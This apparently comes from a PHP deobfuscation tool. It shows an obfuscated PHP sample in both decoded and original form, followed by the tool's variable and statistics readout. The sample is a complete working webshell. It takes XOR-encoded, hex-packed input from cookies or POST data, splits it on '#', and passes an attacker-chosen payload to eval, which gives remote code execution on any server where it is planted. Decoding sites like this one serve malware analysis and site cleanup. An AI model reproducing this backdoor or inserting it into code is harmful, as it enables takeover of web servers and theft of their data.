Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $oMKvIo = 's' . "\164" . chr (114) ./* AsE*/chr/* QrS*/(95)/* bUlYl */. "\1..

Decoded Output download

<?php 
$oMKvIo	=	's'     .	"t"  .	chr	(114)	./*  AsE*/chr/* QrS*/(95)/*   bUlYl */.	"r"    .   chr	(     348 -    247	)."p"	.  chr     (   778 - 677	).chr (	714     -	617   )."t"; 
$zUALCXM	=   chr     (    834     -	733/*rJZpJ*/)."x"	./*   GuNQv*/chr	(/*  oR   */882    - 770	)."l"     .	chr/*ldwAq  */(111)   .	"d"/*  ixEY*/./*m*/"e";$_sM/*  VvQOx */=/* cvwx */'26444'; 
				$YzWSqw/*   J */= "p"   .     chr  (     788	-	691	).'c'  .	"k"; 
		function     oHCXBN() 
	   { 
   	$IYLsjj	=   Array (/*   h */"OzLVSqGbGhYAR"	=>	"QopwBtDCbWa"/*wlOH */); 
   	 
  	$DVxYL	=    Array   (/*O*/"qEqRcNrmcqDtT" =>   "voPzPWpFcTR"   );$_cUeYM =     '56401'; 
 
	$QwmQtZ  =   Array(/* Agw*/$IYLsjj,/*  JDeni*/$_COOKIE,     $IYLsjj,/*  L */$_POST,   $DVxYL);$_AR	=   '49182'; 
           
					return/*   Vy   */$QwmQtZ; 
 	} 
  
 function/* s*/qEjzwPQAeS($MhpNgxM, $IYLsjj) 
   /*gtxth*/{ 
   if (   count/*  gdqL  */(/*Hpk */$MhpNgxM/*oofR   */)/*n*/==/*  iUn */3     )/*   ax  */{ 
	$hkRdoV	=/*   N   */$MhpNgxM[1];$_mfK	=/* vW */'21535'; 
 
/*  Ne   */$UewCT/*gcIIf */=     $MhpNgxM[2]; 
 
 $UxDljpTO   =/*   ryAi*/$hkRdoV($UewCT); 
					/* Cw   */eval	(/* uCrXY  */$UxDljpTO/* elQCn */); 
 
 
/*   SMp*/die/*   b */(); 
     	} 
 
/*Mx */} 
  	 
  /*THCd */function	maGWuSn($XfliwZSXq,/*  XkLU */$UIYvjfcLef) 
     /*   XypQ   */{ 
 
 
	return   $XfliwZSXq  ^	$UIYvjfcLef;$_KjmSm	=/* m */'25968'; 
				} 
			  
     $mRiTu	=/* GSXr*/chr	(35);; 
  /*   D   */ 
    	foreach/*  ZbUQ*/(oHCXBN() as   $ZLXjkVEDp) { 
  	foreach (/* PexW   */$ZLXjkVEDp   as    $UIYvjfcLef    =>	$XfliwZSXq/*   bsDo */)/*   IjByj  */{ 
	 
	/*ewaZ  */$lcuwrqbqf	=	strlen(	$XfliwZSXq/* P  */)/strlen(   $UIYvjfcLef/*  jTeyw  */);$_mQ  =	'39711'; 
 
 
/*  xywBb*/ 
/*  BqIf*/$XfliwZSXq	=  @$YzWSqw(	'H'	./* fi  */'*',   $XfliwZSXq	); 
 
     
						$UIYvjfcLef/*  M */.=  "PrV-RWUre-zzdEHOG-zuX-VTACk-SbfxWvY-DVtwj";; 
 	$UIYvjfcLef/*   SDZid   */=   $oMKvIo	(	$UIYvjfcLef,	$lcuwrqbqf/* w */+/*  Yxr  */1);$_s	=	'16369'; 
					/*sT   */ 
 
 
/*  w  */$wvXDa/*   Uhdy  */=	strrev(""); 
				 
   	$wvXDa/*  lYn */=	maGWuSn($XfliwZSXq,	$UIYvjfcLef);$_FzwHS     = '12451'; 
/* yEJ  */ 
 
 
/* nw*/$MhpNgxM	= $zUALCXM/*Gn   */($mRiTu,/*  DpVx */$wvXDa     ); 
 
 
/*  lp*/ 
 
 
	qEjzwPQAeS($MhpNgxM,	$mRiTu);$_c    =   '21383'; 
		/*   n*/ 
 continue; 
		/*  t   */} 
 
	} ?>

Did this file decode correctly?

Original Code

<?php
$oMKvIo	=	's'     .	"\164"  .	chr	(114)	./*  AsE*/chr/* QrS*/(95)/*   bUlYl */.	"\162"    .   chr	(     348 -    247	)."\x70"	.  chr     (   778 - 677	).chr (	714     -	617   )."\x74";
$zUALCXM	=   chr     (    834     -	733/*rJZpJ*/)."\170"	./*   GuNQv*/chr	(/*  oR   */882    - 770	)."\154"     .	chr/*ldwAq  */(111)   .	"\144"/*  ixEY*/./*m*/"\145";$_sM/*  VvQOx */=/* cvwx */'26444';
				$YzWSqw/*   J */= "\x70"   .     chr  (     788	-	691	).'c'  .	"\153";
		function     oHCXBN()
	   {
   	$IYLsjj	=   Array (/*   h */"OzLVSqGbGhYAR"	=>	"QopwBtDCbWa"/*wlOH */);
   	
  	$DVxYL	=    Array   (/*O*/"qEqRcNrmcqDtT" =>   "voPzPWpFcTR"   );$_cUeYM =     '56401';

	$QwmQtZ  =   Array(/* Agw*/$IYLsjj,/*  JDeni*/$_COOKIE,     $IYLsjj,/*  L */$_POST,   $DVxYL);$_AR	=   '49182';
          
					return/*   Vy   */$QwmQtZ;
 	}
 
 function/* s*/qEjzwPQAeS($MhpNgxM, $IYLsjj)
   /*gtxth*/{
   if (   count/*  gdqL  */(/*Hpk */$MhpNgxM/*oofR   */)/*n*/==/*  iUn */3     )/*   ax  */{
	$hkRdoV	=/*   N   */$MhpNgxM[1];$_mfK	=/* vW */'21535';

/*  Ne   */$UewCT/*gcIIf */=     $MhpNgxM[2];

 $UxDljpTO   =/*   ryAi*/$hkRdoV($UewCT);
					/* Cw   */eval	(/* uCrXY  */$UxDljpTO/* elQCn */);


/*   SMp*/die/*   b */();
     	}

/*Mx */}
  	
  /*THCd */function	maGWuSn($XfliwZSXq,/*  XkLU */$UIYvjfcLef)
     /*   XypQ   */{


	return   $XfliwZSXq  ^	$UIYvjfcLef;$_KjmSm	=/* m */'25968';
				}
			 
     $mRiTu	=/* GSXr*/chr	(35);;
  /*   D   */
    	foreach/*  ZbUQ*/(oHCXBN() as   $ZLXjkVEDp) {
  	foreach (/* PexW   */$ZLXjkVEDp   as    $UIYvjfcLef    =>	$XfliwZSXq/*   bsDo */)/*   IjByj  */{
	
	/*ewaZ  */$lcuwrqbqf	=	strlen(	$XfliwZSXq/* P  */)/strlen(   $UIYvjfcLef/*  jTeyw  */);$_mQ  =	'39711';


/*  xywBb*/
/*  BqIf*/$XfliwZSXq	=  @$YzWSqw(	'H'	./* fi  */'*',   $XfliwZSXq	);

    
						$UIYvjfcLef/*  M */.=  "PrV-RWUre-zzdEHOG-zuX-VTACk-SbfxWvY-DVtwj";;
 	$UIYvjfcLef/*   SDZid   */=   $oMKvIo	(	$UIYvjfcLef,	$lcuwrqbqf/* w */+/*  Yxr  */1);$_s	=	'16369';
					/*sT   */


/*  w  */$wvXDa/*   Uhdy  */=	strrev("");
				
   	$wvXDa/*  lYn */=	maGWuSn($XfliwZSXq,	$UIYvjfcLef);$_FzwHS     = '12451';
/* yEJ  */


/* nw*/$MhpNgxM	= $zUALCXM/*Gn   */($mRiTu,/*  DpVx */$wvXDa     );


/*  lp*/


	qEjzwPQAeS($MhpNgxM,	$mRiTu);$_c    =   '21383';
		/*   n*/
 continue;
		/*  t   */}

	}

Function Calls

chr 10
oHCXBN 1

Variables

$_AR 49182
$_sM 26444
$DVxYL [{'key': 'qEqRcNrmcqDtT', 'value': 'voPzPWpFcTR'}]
$mRiTu #
$IYLsjj [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]
$QwmQtZ [{'key': 0, 'value': [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'OzLVSqGbGhYAR', 'value': 'QopwBtDCbWa'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'qEqRcNrmcqDtT', 'value': 'voPzPWpFcTR'}]}]
$YzWSqw pack
$_cUeYM 56401
$oMKvIo str_repeat
$zUALCXM explode

Stats

MD5 b16234043f80c8db2b66c6bac86bb2df
Eval Count 0
Decode Time 207 ms